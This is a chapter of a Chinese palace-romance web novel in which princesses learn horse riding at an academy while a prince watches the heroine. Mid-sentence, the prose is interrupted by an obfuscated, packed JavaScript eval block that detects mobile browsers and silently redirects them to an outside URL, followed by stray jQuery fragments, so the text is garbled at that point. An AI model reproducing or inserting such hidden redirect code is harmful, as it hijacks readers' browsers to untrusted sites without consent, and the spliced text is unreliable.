五月中下旬时,天气已经渐渐有了夏天的炎热,白桐书院设在巍堰湖的碧梧岛,自然是不会那么燥热。
皇宫里一如既往表面风平浪静,实则鸡飞狗跳,魏贵妃在为孝德帝的生辰忙得晕头转向,沈皇后在做胭脂时,抽空安排六月初六后宫贵人位份以上的妃嫔,到菩提寺祈福的事宜,至于其他妃嫔嘛,卯足了劲往孝德帝跟前挤。
前朝稍安,邕亲王也没任何小动作,老老实实在为长子殷蘅寻医治病,孝德帝自然松快了些,倒是有闲心雨露均沾。
连同被冷落三年的愉贵人也照顾到,自然也有虞归婳送去的幻兰香功劳,她可是在里头加了些东西,愉贵人自然有所察觉,偷偷让御医看过,得知不是什么歹毒香料,想起孝德帝来她这勤快了些,便是感激涕零。
连同那件斗篷都给绣得十分上心,虽说每每看到淑妃绣过的花样会心生恐惧,但还是咬着牙给做完了,毕竟只有一朵荷花而已,姁娘和钟嬷嬷都看过,皆齐口称和淑妃所绣当真相似。
愉贵人复宠,可惹来不少人嫉妒和怨恨,比如有孕的贤妃,偏偏她身子不方便,只能气得干瞪眼,把所有怨火都撒在五公主殷梨身上,这也算是家常便饭,殷梨已然习惯。
欣嫔倒是失宠了,幸好还有个儿子,殷济也在被关了五日禁足后放出来,到孝德帝跟前装巧卖乖,又能重新回到原来的地位,可到底让孝德帝生出不喜了。
虞归婳每日都要被留堂一个时辰,谢商止总会以各种小细节刨根问底,她都能游刃有余应对,近来貌似歇气,只教她些射箭练字等等。
今日下午时,众人要到碧梧岛东侧的小型马场学骑马或射箭,这自然是男郎该学的,可也有姑娘家的马匹和弓箭,但看几位公主是否愿意学。
殷南姬是个跳脱性子,自然很是乐意,虞归婳也算解放天性想去,殷梨自然跟随。
苏承竹马术顶好,骑着匹黑鬃烈马四处溜达,时不时还炫一炫他那令人眼花缭乱的马术,可惹得几人惊叹不已。
尤其是虞归婳,三皇兄虞君邶曾教过自己骑马,可她似乎天生就与马相克,使劲浑身解数都学不成,到了国灭那日她连上马都不行,但唯有射箭学到了精髓,百发百中,箭无虚发。
马场里,苏承竹朝着站在棚子下的三位公主邀请道:“几位殿下,我刚挑了几匹温顺的马儿,不用担心,快过来吧,待会我们再一起去那头练射箭如何。”
几人已经换上骑装,殷南姬也学过,自然是熟能生巧,乐颠颠跑过去:“我要那匹白马,苏小侯爷,待会我们一起赛马吧,你要是赢了回头就要给我带铃兰铺的点心,要是输了就带花月居的胭脂。”
“嘿,合着我这输赢都没区别呗,四殿下这如意算盘打得真妙啊,”苏承竹摆摆手,“罢了罢了,左不过是些小玩意,能让四殿下高兴就成。”
殷南姬已经上了马,朝着他得意地哼笑一声,随后看向虞归婳和殷梨:“五皇妹,六皇妹,快过来呀,这三匹马都是最温顺不过。”
殷梨也学过几节课,完全是被殷南姬拉着来的,她看向同样有些忸怩的虞归婳,悄声问:“六皇妹,要不要一起去?这骑马虽然很威风,可几趟下来身上头上都是灰尘,而且我有点惧。”
虞归婳侧头看她,沉吟半晌才道:“怕什么,会骑马日后万一能救命呢,有苏小侯爷和几位夫子在,我们不会出事的。”
“那就一起过去吧。”殷梨拉起她的手一同走过去,各自选了匹马,她由着几个太监扶着小心翼翼爬到马背上坐稳,果然是温驯得很,渐渐也找到了感觉。
可虞归婳则是不同。
不管
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14959766|156814||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怎么做都爬不上去,马儿还趁机欺负她一通,几次三番下来累得满头大汗,有些失落嘀咕:“三皇兄,你说的对,我和马天生相克,看来一辈子都不会骑马了。”
不远处的凉亭内正站着三人。
谢商止目光定在虞归婳身上,似乎除了她旁人都不能入眼。
鲟之和璟之形影不离跟在他身后,鲟之探出个脑袋望向他们那处,也看到虞归婳爬不上马的情形,忍不住笑出声。
谢商止和璟之不约而同冷冷瞥了他一眼,鲟之急忙捂住嘴,但仍旧止不住笑声,渐渐的演变成捧腹大笑,泪花都给逼了出来。
谢商止脸色有些阴沉,深呼吸几下才道:“你笑什么?”
璟之上前踹了他两脚:“殿下面前不得放肆,别一天到晚跟有癔症一样。”
“属下只是……看到那位六公主,上马半天都上不去,忽而想起前些天池塘边的癞蛤蟆,也是这样……一蹦一蹦怎么也上不去,实在是,相似。”鲟之笑声止不住,连同说话也是断断续续。
闻言,璟之只觉自家弟弟跟个二傻子一样无聊,谢商止倒是没有说话,转头继续看向虞归婳,却是唇角忍不住上扬,脸色也好看许多。
他喃喃低语:“确实……可爱的很。”
璟之已然听到,不知怎的觉得有些尴尬,又有些嗤之以鼻这样的殿下,他还是习惯于当初雷厉风行,不喜多言的谢商止。
这么多天,谢商止使劲浑身解数接近这位六公主,全然是无功而返,冷脸贴冷屁股,偏偏还常常在夜深人静时,独自坐在那具棺材边笑着自言自语,从话里意思来看,仿佛真的已经找到魂穿的永安帝姬。
他忍不住问:“殿下,六月初一就是嗜血之花该开花的时候了,您用鲜血供养一个月,到时候真会如文清道长所言吗?”